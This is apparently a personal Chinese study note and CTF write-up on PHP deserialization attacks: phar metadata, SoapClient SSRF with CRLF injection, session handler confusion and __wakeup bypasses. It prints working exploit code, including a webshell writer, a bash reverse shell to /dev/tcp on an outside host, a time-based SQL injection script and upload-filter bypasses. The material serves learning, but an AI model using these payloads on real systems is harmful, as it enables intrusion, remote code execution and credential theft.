简单总结一下最近学习的,php其他的一些反序列化知识
-
phar
-
soap
-
session
-
其他
- __wakeup绕过
- gc绕过异常
- 非公有属性,类名大小写不敏感
- 正则匹配,十六进制绕过关键字检测
- 原生类的利用
phar
基础知识
在 之前学习的反序列化利用中,都要用到unserlize
这个反序列化方法,然后构造pop链子,但是通过读取phar文件,即使不使用unserlize,也可以触发反序列化操作
phar文件是php特有的一种归档(压缩)文件,可以把多个文件归档为1个文件,提供了一种将完整的PHP应用程序分发到单个文件中并从该文件运行它的方法,而无需将其提取到磁盘中,php可以通过phar://伪协议在不过分解压的情况下,访问phar文件,并执行其中的php程序
phar文件的基本结构如下
- stub:phar文件标志
phar文件在文件开头有一个特殊的标志,如aaa<?php bbb; __HALT_COMPILER();?>
aaa,bbb可以是任意内容,但是<?php __HALT_COMPILER();?>
必须 存在,就是一定有<?php 、 <?=
或<script language="php">
这种php标签对,标签对中含有 __HALT_COMPILER(); - manifest
存储着每个被压缩文件的权限,属性等信息,这部分还会以序列化的形式存储用户自定义的meta-data,特定函数读取时会反序列化,这是phar反序列化利用中最核心的地方。 - file contents
被压缩文件的内容 - signature
phar文件的签名,用于验证phar文件的完整性和真实性
我们可以先写个小程序,看看生成的phar文件具体结构(要将php.ini中的phar.readonly选项设置为Off,否则会报错,无法生成phar文件)
<?php
class myObject
{public $name = 'helloworld';
}
// 用php的内置类Phar,创建一个名为 phar.phar 的 PHAR文件对象,并赋值给变量 $phar
$phar = new Phar("phar.phar");
// 开始 PHAR 文件的缓冲区,用于批量操作,避免频繁写入磁盘
$phar->startBuffering();
// 设置 PHAR 文件的 Stub,即 PHAR 文件的启动代码,用于启动 PHAR 中的脚本
$phar->setStub("<?php __HALT_COMPILER();?>");
$info = new myObject();
// 设置 PHAR 文件的可自定义的元数据
$phar->setMetadata($info);
// 向 PHAR 文件中添加一个名为 a.txt 的文件,并将内容设置为 'a'
$phar->addFromString("a.txt", "a");
// 停止 PHAR 文件的缓冲区,将缓冲区中的操作写入到 PHAR 文件中
$phar->stopBuffering();
?>
用xxd工具(Linux 下的十六进制编辑工具)查看一下生成的phar文件
可以看到phar文件里,有文件头,还有自定义的被序列化的,我们传入的一个对象
利用条件
如果一些文件操作函数通过phar://伪协议读取phar文件时,就会将meta-data反序列化,相关函数如下
copy, file_exists, file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,fileinode, filemtime, fileowner, fileperms, fopen, is_dir, is_executable,is_file, is_link.is_readable,is_writable,,parse_ini_file,readfile,stat,unlink,exif _thumbnail,exif_imagetype, imageloadfont, imagecreatefrom, hash_hmac_file, hash_ile, hash_update_filemd5_file, sha1_file, get meta_tags, get_header,getimagesize, getimagesizefromstring ,extractTo_is_wirtble、info_file
利用条件如下:
- phar可以上传到服务器端(存在文件上传)
- 要有可用的魔术方法作为“跳板”。利用之前学习的魔术方法构造pop链
- 文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤
实验测试
使用网上大佬的程序来测试,
upload.html
<html>
<body>
<form action="http://192.168.184.200/pharsnap/upload_files.php" method="post" enctype="multipart/form-data"><input type="file" name="file" /><input type="submit" name="Upload" />
</form>
</body>
</html>
upload_files.php
<?php
if (isset($_FILES["file"])) {echo "Upload: " . $_FILES["file"]["name"]."<br/>";echo "Type: " . $_FILES["file"]["type"]."<br/>";echo "Temp file: " . $_FILES["file"]["tmp_name"]."<br/>";if (file_exists("upload/" . $_FILES["file"]["name"])) {echo $_FILES["file"]["name"] . " already exists. ";} else {move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" .$_FILES["file"]["name"]);echo "Stored in: " . "upload/" . $_FILES["file"]["name"];}
} else {echo "No file uploaded.";
}
?>
read.php
<?php
$filename=@$_GET['filename'];
echo 'please give me a filename by get'.'<br />';
class AnyClass{var $output = 'echo "ok";';function __destruct(){system($this -> output);}
}if(file_exists($filename)){$a = new AnyClass();}else{echo 'file is not exists';}
?>
重点在read.php,使用了 file_exists 函数,它在受影响函数之中,在用phar协议读取文件时会反序列化其中数据,
利用思路:
read.php的AnyClass类中的__destruct
魔术方法中,有eval这个可以执行系统命令的方法,是可以利用的,而且存在file_exists这个可以触发的函数,所在在file_exists中用phar://伪协议读取我们上传的phar文件,就会反序列化其中的数据,我们在自己的phar中设置$output
为系统命令即可
exp:
<?phpclass AnyClass
{public $output="('ls /');";
}$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$info=new AnyClass();
$phar->setMetadata($info);
$phar->addFromString("a.txt","a");
$phar->stopBuffering();
?>
payload:
?filename=phar://upload/phar.phar/a.txt
结果
命令执行成功,总的来说就两点:
- 找会触发反序列化的方法和文件上传或写入的点
- 构造pop链执行rce
相关绕过
在实验代码中加一个file_get_contents
,这个函数触发反序列化相对更容易,容易测试
phar不能在开头
数据压缩绕过(要安装对应的拓展)
compress.bzip2://phar://phar.phar/a.txt
compress.zlib://phar://phar.phar/a.txt
放其他伪协议在开头绕过
php://filter/resource=phar://phar.phar/a.txt
__HALT_COMPILER特征检测
1.压缩绕过,gzip或zip
如果对phar的特征:__HALT_COMPILER
进行了过滤,可以使用gzip对phar文件再压缩一次,这时__HALT_COMPILER
就没有了
!
直接phar读取或者配合文件包含,也是可以触发反序列化的
?filename=phar://upload/phar.phar.gz/a.txt #gz要访问gz中的phar中设置的a.txt
?filename=phar://upload/phar.zip/phar.phar #zip只要访问zip中的phar即可,名字随意,后缀要phar
2.zip压缩,把序列化内容写入zip的注释,那为什么不直接压缩为zip,传上去然后访问嘛,为什么还要多此一举?
因为通常文件上传中只能上传图片,本地测试发现,gzip压缩后的文件.gz,改后缀为png,再去访问,仍然可以反序列化执行命令
但是zip文件.zip,转为png后,中间序列化的内容有丢失,再去访问会执行命令失败
原来的phar内容:
中间的命令尝试写入一句话,压缩为zip,再转为png,尝试访问
结果发现一句话的内容消失了,写入失败,但是如果把序列化内容写入zip中的注释,转为png不会消失,php处理代码如下
$phar_file = serialize($info);
$zip = new ZipArchive();
$res = $zip->open('1.zip', ZipArchive::CREATE);
$zip->addFromString('a', 'hellowrold');//设置zip要压缩的文件名和内容
$zip->setArchiveComment($phar_file); // 设置了 ZIP 文件的注释为序列化后的内容
$zip->close();
rename("1.zip","1.png");
一句话写入成功
文件头检测
如果通过检测文件头来检测是否是图片,可以在设置stub时增加GIF89a(gif图片文件头)绕过,如
$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");
如果过滤问号,可以<script language="php">
绕过,如
$phar->setStub("GIF89a"."<script language='php'> __HALT_COMPILER();</script>");
题目实战
SWPU2018 SimplePHP
buu在维护,题目做不了,不过给了一个大佬写的yaml文件,于是起个docker
可以看到有查看文件和上传文件两个页面,看看页面源码
可以看到查看文件的文件名通过file传递,感觉可以通过查看题目源码,
果然可以,想直接file=f1ag.php,提示文件不存在,被ban了
那就把其他的php文件代码都看看
upload_file.php
<?php
include 'function.php';
upload_file();
?>
<html>
<head>
<meta charest="utf-8">
<title>文件上传</title>
</head>
<body>
<div align = "center"> <h1>前端写得很low,请各位师傅见谅!</h1>
</div>
<style> p{ margin:0 auto}
</style>
<div>
<form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交">
</div> </script>
</body>
</html>
function.php 处理上传的文件
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); }
}
function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } }
}
?>
file.php 展示文件
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) { echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) { $show->source = $file; $show->_show();
} else if (!empty($file)){ die('file doesn\'t exists.');
}
?>
还有class.php,一起看看
<?php
class C1e4r
{public $test;public $str;public function __construct($name){$this->str = $name;}public function __destruct(){$this->test = $this->str;echo $this->test;}
}class Show
{public $source;public $str;public function __construct($file){$this->source = $file; //$this->source = phar://phar.jpgecho $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('hacker!');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {echo "hacker~";$this->source = "index.php";}}
}
class Test
{public $file;public $params;public function __construct(){$this->params = array();}public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}
}
?>
base.php基本纯html,就不展示了
源码中直接提示就是考phar反序列化,触发点应该在file_exist函数,没看到有可以执行系统命令的地方,但是test类中有file_get_contents
,利用这个函数读取flag.php
开始构造pop链(如何构造及其原理之前的笔记学习过了,这里不在赘述)一样的,反向思考如何构造:
1.最终利用的是Test类中的file_get->file_get_contents
获取flag,这个方法在get
方法中调用,传给file_get的value由数组params中有没有$key这个健决定
2.get
方法在__get
方法调用,__get
在访问类中不存在的变量时调用,访问的变量名会被作为字符串传入该方法中
3.Show类的toString方法中$content = $this->str['str']->source;
,如果$this->str['str']
赋值为Test实例,就是访问了Test类中不存在的对象,触发__get
, ‘source’传入该方法,如果把Test类中的params数组中,设置一个同名健source
,值为’/var/www/html/f1ag.php’,就能成功访问
4.C1e4r的__destruct__->echo $this->test;
,把test设置为Show实例,触发Show类的toStting
exp如下:
<?php
class C1e4r
{public $test;public $str;
}
class Show
{public $source;public $str;
}
class Test
{public $file;public $params;
}
//pop链
$a=new C1e4r();
$b=new Show();
$c=new Test();
$a->str=$b; //触发show的toString
$a->str->str['str']=$c; //访问test类的不存在属性,触发__get
$c->params['source']="/var/www/html/f1ag.php";
//生成phar文件
$phar=new Phar("1.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString("a.txt","a");
$phar->stopBuffering();
rename("1.phar","1.png");
?>
直接访问/upload,得到文件名
在file.php,使用phar协议访问即可
解码后发现啥也没有,进入docker的shell发现原本就是这样
newstar2023 pharone
今天发现可以做题了,直接启动
有一个上传页,源码提示有class.php,代码如下:
<?php
highlight_file(__FILE__);
class Flag{public $cmd;public function __destruct(){@exec($this->cmd);}
}
@unlink($_POST['file']);
有unlink方法,很明显就是phar反序列化,exec执行系统命令是没有直接的回显的,所以要写个webshell进去
主页上传发现,只能上传图片,上传成功,会回显文件名路径
直接生成phar,转png,试试
上传结果发现
过滤了__HALT_COMPILER这个文件特征,把序列化内容写入zip注释吧,
完整的exp:
<?php
class Flag
{public $cmd="echo '<?=@eval(\$_POST[cmd]);' > /var/www/html/shell.php";
}
$info=new Flag();
$phar_file = serialize($info);
$zip = new ZipArchive();
$res = $zip->open('1.zip', ZipArchive::CREATE);
$zip->addFromString('a', 'hellowrold');//设置zip要压缩的文件内容
$zip->setArchiveComment($phar_file); // 这一行设置了 ZIP 文件的注释为序列化后的内容
$zip->close();
rename("1.zip","1.png");
?>
上传成功,直接在class.php传入
file=phar://upload/4a47a0db6e60853dedfcfdf08a5ca249.png/phar.phar
然后蚁剑连接shell.php ,查看flag
成功
soap
基础知识
SOAP(Simple Object Access Protocol)是一种用于在网络上交换结构化信息的协议。它通常用于实现分布式系统中的远程过程调用(调用服务器上的方法),允许不同的计算机在网络上进行通信并交换数据。其特点有但不限于:
基于 XML:SOAP 使用 XML 格式来封装和传输数据。这使得它能够支持复杂的数据结构和对象,并且与不同的编程语言和平台兼容。
支持多种传输协议:SOAP 可以使用多种传输协议来进行数据传输,其中最常用的是 HTTP 和 HTTPS。但 SOAP 也可以基于其他协议如 SMTP、JMS 等进行传输。
正常的一次soap请求demo如下:
<?php
// 创建 SoapClient 对象
$client = new SoapClient(null, array('location' => 'http://192.168.184.150:1234', #location->请求的地址'uri' => 'goodgoodstudydaydayup' //命名标识符,唯一标识服务端的应用程序或服务。
));// 设置要调用的 SOAP 方法,服务端要有定义和实现,才能获取到数据
$method = 'getWeather';// 使用 __soapCall() 方法发送 SOAP 请求
try {$response = $client->__soapCall($method, array());// 处理响应echo "Response: " . $response;
} catch (SoapFault $e) {// 处理 SOAP 错误echo "SOAP Error: " . $e->getMessage();
}
?>
服务端收到的http请求包
由于服务端并没有定义getWeather方法,所以这次soap请求拿不到相关数据,
利用方法
触发__call
正常的soap请求是调用SoapClient对象的__soapCall实现的,但是如果调用了该对象中不存在的方法,会触发__call
魔术方法,这个方法也会发送soap请求,
如:
<?php
$a = new SoapClient(null,array('location'=>'http://192.168.184.150:1234', 'uri'=>'goodgoodstudydaydayup'));
$a->a(); // 调用SoapClient实例对象中不存在的方法, 触发__call方法,发送请求
?>
所以soap的反序列化不需要构造pop链,只要有反序列化的过程和调用不存在的方法即可,但是只是发送一个拿不到数据的请求没有意思,我们可以通过CRLF注入,构造出我们想要的数据包,发送到服务端,让服务端带着这个数据包去发送请求(ssrf),拿到我们想要的数据
CRLF注入
需要先了解一下http协议数据包的结构:
https://www.cnblogs.com/huansky/p/14007810.html
不论是请求报文还是响应报文,各行数据通过回车换行符分割,这个回车换行符就是\r\n
,url编码后是%0d%0a,即为CRLF,头部和数据正文之间隔了两个CRLF
如果用户输入会出现在,服务端http响应的header中,CRLF注入就可以控制响应头中出现我们设置的内容,如
用户的输入会出现在location中,如果输入变为
http://192.168.184.200/locat.php?url=http://www.baidu.com%0d%0aSet-Cookie:token%3D123456
这个输入中注入了一个CRLF,本来这整个值都应出现在Location的值中,但服务器在读取完 Location:http://www.baidu.com
后,读取到了一个CRLF,会认为这个键值对已经结束,就会准备开始读取下一个头部中键值对,而Set-Cookie:token%3D123456,url解码后,是可以被正常读取的键值对,这样一来就会在请求头中设置了我们自己的cookie
现在通过 Location 字段的 302 跳转进行 CRLF 注入这个漏洞已经被修复了,但是了解了原理之后,我们可以通过CRLF配合soap,启动ssrf
例如在user-agent注入CRLF,
<?php
$a = new SoapClient(null,array('location'=>'http://192.168.184.150:1234','user_agent'=>"soap\r\nSet-Cookie:token=helloworld" ,'uri'=>'goodgoodstudydaydayup'));
$a->a(); // 调用SoapClient实例对象中不存在的方法, 触发__call方法,发送请求
?>
在这里,我在user-agent后面注入了一个CRLF,然后设置Set-Cookie:token=helloworld,结果
服务端接受到数据包中,头部出现了Set-Cookie键值对,注入一个crlf就能修改或增加一个键值对,可以看到,soap的http请求是POST方法,要实现ssrf,我们要通过注入多个CRLF,修改Conent-Type,content-Length,还要插入我们自己的数据代替原来的xml数据,使这个post请求变成我们想要的
<?php
$target = 'http://192.168.184.150:1234';
$post_data = 'data=whoami';
$headers = array('X-Forwarded-For: 127.0.0.1','Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'helloworld^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'helloworld^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
exp这一句,每注入一个CRLF,就修改一个键值对,请求头和请求数据要插入2个CRLF,我们就可以通过这样构造的post请求,进行ssrf
实验学习
test.php
<?php
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){eval($_POST['cmd']);}
else{echo "not localhost";
}
$a=unserialize($_GET['a']);
$a->play();
?>
可以看到,程序中有反序列化操作,并且调用了play这个未定义方法,,要求REMOTE_ADDR为127.0.0.1,才能执行命令,所以我们可以传入自己构造的序列化后的soap对象,反序列化后触发__call
方法,进行ssrf, exp如下
<?php
$poc = "cmd=".urlencode('system("bash -c \'bash -i >& /dev/tcp/192.168.184.150/1234 0>&1\'");?>');
$a = new SoapClient(null,array('uri'=>"aaaa", 'location'=>'http://127.0.0.1/test.php',"user_agent"=>"helloworld\r\nContent-Length: ".strlen($poc)."\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n".$poc,"keep_alive"=>false));
$b = serialize($a);
echo urlencode($b);
shell反弹成功,总结利用条件:
1.程序中有反序列化操作
2.支持soap服务,调用了未定义方法
题目实战
easy_harder_php
综合性很强的题,搞了好久,最后还没做出来
题目首页url参数有action=login,感觉可以任意文件读取,尝试
果然有,那就需要知道其他php文件名,然后读取,dirsearch扫一下,
发现config.php,后加~可以读取,然后顺藤摸瓜发现了三个php文件的源代码,cofig,index,user
代码都很长,就不粘贴过来了
思路
没做出来,看了wp还是没法复现,简单记录一下思路吧
看了代码后,在user.php->publish
发现admin登录后才有文件上传的功能,
但是在user.php->login
中,admin登录不仅要密码正确,还要本地登录,感觉要ssrf,于是寻找可能的ssrf触发点
寻找了一圈没啥收获,但是在user.php->showmess
中发现了没有pop链的反序列化,而且,下面调用了getcountry未定义方法,想到用soap来ssrf
不知道从哪里可以拿到admin的密码,但是发现操作数据库的sql中都是直接拼接的,感觉可以sql注入,注册和登录都不行,要输入MD5的验证码
登录后的insert中有
插入的语句没有什么验证,插入一个a,后面再跟上的我们的时间注入payload即可,表名字段,存储密码长度都能从源码中得知,exp如下:
import requests
import time
from datetime import datetime
url_target='http://c4790c8b-ff2c-4d42-b109-c99e764602fb.node5.buuoj.cn:81/index.php?action=publish'
cookie={'PHPSESSID':'4p269bclqkqpic4v928so6goh3'}
data={'signature':'','mood':'0'
}
passwd=''
for i in range(1,33):time.sleep(0.5)for k in range(33,127):sql=f'a`,if(ord(substr((select password from ctf_users where username=`admin`),{i},1))={k},sleep(2),null))#'data['signature']=sqlstart = datetime.now()res=requests.post(url=url_target,data=data,cookies=cookie,timeout=3)end = datetime.now()sec = (end - start).secondsif sec >= 2:passwd+=chr(k)print(passwd)
结果
拿去md5碰撞网站试试,得到为nu1ladmin
用脚本生成soap序列化字符串,在这里要用两个浏览器,一个停留在登录页面,把要用的验证码和cookie中的PHPSESSID,保留下来,放入soap请求包,另一个浏览器用普通用户登录,pubilsh插入我们构造的soap序列化数据,exp:
<?php
$target = 'http://c360d287-8204-45d0-8d8d-7180e8bfd8c8.node5.buuoj.cn:81//index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=IWAPX5COOXSFNBuuWbP4';
$headers = array('X-Forwarded-For: 127.0.0.1','Cookie: PHPSESSID=s3r1gfsk5288rntocmg8fhdlg3'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'helloworld^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
$a = str_replace('&','&',$a);
echo $a;
?>
然后把序列化字符串转为十六进制,点击publish,执行插入语句
网上的wp都是插入后,再刷新就是admin,但我总是失败,不知道为啥,最后试了一下直接包含根目录下的flag,还真有
不知道是不是验证码没处理好,导致无法admin,验证码是MD5碰撞求得,分享一下大佬写的脚本
import multiprocessing
import hashlib
import random
import string
import sys# 定义字符集,包括大小写字母和数字
CHARS = string.ascii_letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):"""比较MD5哈希值的函数"""global CHARSwhile not stop_event.is_set():# 生成随机字符串rnds = ''.join(random.choice(CHARS) for _ in range(size))# 计算MD5哈希值md5 = hashlib.md5(rnds.encode('utf8'))value = md5.hexdigest()# 检查哈希值是否满足条件并输出if value[start: start + str_len] == substr:print(rnds)print(value)# 设置停止事件,停止其他进程stop_event.set()if __name__ == '__main__':# 从命令行参数获取目标MD5哈希值的起始子字符串和搜索起始位置substr = sys.argv[1].strip()start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0str_len = len(substr)# 获取计算机CPU核心数cpus = multiprocessing.cpu_count()# 创建一个事件对象来协调进程之间的停止stop_event = multiprocessing.Event()# 创建多个进程,每个进程运行cmp_md5函数以搜索满足条件的字符串processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, start_pos))for i in range(cpus)]# 启动所有进程for p in processes:p.start()# 等待所有进程完成for p in processes:p.join()
session
基础知识
SESSION的一些知识在学习会话文件包含时学习过,现在学习一下SESSION在反序列化中的利用点的一些基础知识
php有三种session的处理器(php,php_serialize,php_binary ,默认为php),用于把session会话信息存储到文件中,各自都有不同的session存储和使用的机制,但存到文件里的都是类似序列化的数据,不同的处理有一些差别,如下面的demo
<?php
ini_set("session.serialize_handler", "php_serialize");
highlight_file(__FILE__);
session_start();
$_SESSION['name']=$_GET['name'];
?>
传入name=helloworld,三种处理器存储的数据如下
处理器 | 数据 |
---|---|
php | `name |
php_serialize | a:1:{s:4:"name";s:10:"helloworld";} |
php_binary | names:10:"helloworld"; |
如果多传一个sex属性,存到SESSION数组中存储如下
可以看到,php处理器存储就是键名|序列化数据
,php_serialize就是a:键值对个数:{序列化数据}
,php_binary就是键名后直接跟序列化数据
利用条件:
1.两个不同的php文件,使用了不同的会话文件处理器,序列化存储文件时用php_serialize,但默认是php,可能要通过别的方式修改,反序列化会话文件是php
2.调用了session_start()或php.ini中session.auto_start=1,调用了session_start(),如果之前已经存在会话,就会去反序列化session文件,
利用方法:
就是利用这两个处理器不同的处理机制(对于|
的处理不同),在上面学习过他们的存储方式,php存储时会用|
分割键值,但php_serialize存储时就没有,
也就是说,php_serialize反序列化会把|
当作普通字符串,如果是php,遇到|
,就会反序列化后面内容,把|
前面的当作键值,如果我们能控制输入$_SESSION数组的变量,控制为|(对象序列化字符串)
,php_serialize会当作普通字符串存储,但php反序列化读取时,就会成功反序列化对象序列化字符串
,生成我们想要的对象,
在文件包含时了解过,如果不主动往session数组中传数据,默认session文件是没有内容的,所以SESSION反序列化也分$_SESSION变量可控和不可控
实验学习
$_SESSION变量可控
除了上面的demo,再加一个class.php
<?php
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
class Man
{public $name;function __destruct(){system($this->name);}
}
session_start();
var_dump($_SESSION);
?>
$_SESSION
变量可控,就是我们可以往$_SESSION
数组传入数据
可以看看这篇大佬的文章,https://blog.csdn.net/weixin_57567655/article/details/121899648,讲的通俗易懂
例如:在这个实验中,先生成我们的Man序列化字符串
<?php
class Man
{public $name='ls /';
}
echo serialize(new Man());
?>
在得到到结果前加上|
,变为|O:3:"Man":1:{s:4:"name";s:4:"ls /";}
传入给name,查看session文件,
查看class.php,
$_SESSION变量不可控
利用uoload_progress,手动构建文件上传,具体原理在学习文件包含时了解了,这里简单复习一下
在文件上传的同时,post传一个字段,PHP_SESSION_UPLOAD_PROGRESS
,值任意,php这时就会自动创建会话,并往$_SESSION数组中写入数据(关于文件上传的进度),我们传的PHP_SESSION_UPLOAD_PROGRESS
的值会和upload_progress
拼接在一起,作为session文件中的一个健
条件:
session.upload_progress.enabled=On
,默认情况下就是On
默认情况下,session.upload_progress.clean=On,文件上传结束后就会清除session中的相关数据,这时就要条件竞争(之前学习文件包含的文章中已经测试过),这里改为off,方便测试
手动构建文件上传,在原来的前端页面下,打开F12,选中body元素,选择以html格式修改,就可以手动添加一个文件上传的表单
在可以构造pop链的php文件,构造上传表单:
form action="sess.php" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file1" /><input type="submit" />
</form>
随便上传一个文件,在bp中修改filename
"|O:3:\"Man\":1:{s:4:\"name\";s:4:\"ls /\";}"
记得转义序列化数据中的双引号,或者filename的内容,用单引号包裹
!
反序列化成功,命令成功执行
题目实战
bestphp’s revenge
题目源码
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);+++++++
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
乍一看,看不出什么,扫描一下,发现flag.php
<?php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1") {$_SESSION['flag'] = $flag;
}
?>
发现要求本地访问,然后就会往session中写入flag,想到要用ssrf,首页源码中有call_user_func
函数,它会把传入的第一个参数当作回调函数,后面的参数当作传入该函数的变量,然后执行该函数,感觉有可能让welcome_to_the_lctf2018作为一个未定义方法,让soap对象调用,就可以ssrf访问flag.php了,不知道该如何操作,上网查阅资料后才理清了利用思路
在第二个call_user_func中,如果把$b
再设置为call_user_func,那么传给它的就是一个数组$a
,它有两个元素,第一个reset($_SESSION
)(也就是$_GET['name'])
,第二个是welcome_to_the_lctf2018,传给call_user_func
如果只有一个数组,那么就会把数组第一个值当作回调函数,后面的值当作该方法的参数,所以$_GET['name']
是方法名,welcome_to_the_lctf2018是方法,相当于$_GET['name']->welcome_to_the_lctf2018
,如果$_GET['name']
是我们传入的soapclient对象,就可以触发ssrf,传入soap对象序列化数据,session_start()就可以反序列化来还原
但b似乎是写死的implode,可以修改吗?其实是可以的,只要把$_GET['f']
设为extract,利用这个函数的来变量覆盖修改b,原理如下:
PHP extract() 函数用于将数组中的键作为变量名,将对应的值作为变量值导入到当前程序的符号表中
在PHP中,符号表(Symbol Table)是一个内部数据结构,用于跟踪当前脚本中定义的变量和它们的值。在PHP脚本执行期间,符号表记录了所有已经声明的变量及其对应的值,并且可以动态地添加、修改和删除这些变量。
extract()导入变量名和值时,如果原来已经存在相同的变量名,那么旧的值会被数组中同名的健对应的值替换掉
举个例子:
<?php
// 用户通过表单提交了一些数据,例如:
$hobby='play';
// 为了方便,直接使用 extract() 函数将 $_GET 数据导入到当前符号表中,以便后续使用
extract($_GET);
echo "用户: ".$name." 性别: ".$sex."<br>";
echo "your hobby is $hooby";
?>
可以看到,本来hobby的值为play,可以是我们通过get方式传入一个同名变量,使值为study,play就会被study覆盖,如:
所以在那道题中,要发送两次请求,第一次给name赋值soap序列化数据写入session数组,同时利用call_user_func($_GET['f'], $_POST);
,f赋值为session_start(), post 传 serialize_handler=php_serialize ,修改session文件序列化处理器
!
成功写入到session文件中,
生成soap序列化数据的exp:
<?php
$target = 'http://127.0.0.1/flag.php';
$post_data = '';
$headers = array('X-Forwarded-For: 127.0.0.1','Cookie: PHPSESSID=123456'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'helloworld^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
echo "|".urlencode($b);
手动在数据包中,添加发送序列化数据后,响应包中给的cookie,然后正常访问,让程序默认的php处理器,反序列化session文件,发现成功还原SoapClient对象
这一次,get给f传extract,post传b=call_user_func,让程序还原了soapcilent对象后,发送soap请求
最后再把PHPSESSID的值设为我们exp中的PHPSESSID的值,正常访问
拿到flag
其他小知识
__wakeup绕过
__wakeup
也是一种魔术方法, 调用**unserialize()时 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。 **_wakeup()
方法的目的是在反序列化后执行一些特定的操作,以还原对象的状态或执行其他必要的逻辑。在ctf中,会用__wakeup修改变量,阻止pop链的起点触发,如:
<?php
highlight_file(__FILE__);
class Man
{public $name;function __wakeup(){echo "wakeup is call";$this->name='phpinfo();';}function __destruct(){eval($this->name);}}
unserialize($_GET['a']);
?>
这里的__wakeup
会把name修改为phpinfo,传入的序列化字符串中即使有其他命令也无法执行,如
看起来很安全,其实也有绕过的方法
修改变量数
要求版本:PHP5 < 5.6.25、PHP7 < 7.0.10
当序列化字符串中属性值大于属性个数,就会导致反序列化异常,被PHP当作垃圾回收,提前触发__destruct__
(也叫fast-desturct),从而跳过__wakeup(),
这里一道经典题为例子:[极客大挑战 2019]PHP
源码:
index.php
<?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);?>class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>
可以看到,Name类中,读取flag需要username为admin,但是__wakeup
方法会把username变为guest,需要绕过,两个变量是private属性,需要url编码
F12看到php版本为5.3,修改属性值就行,
把2改为3
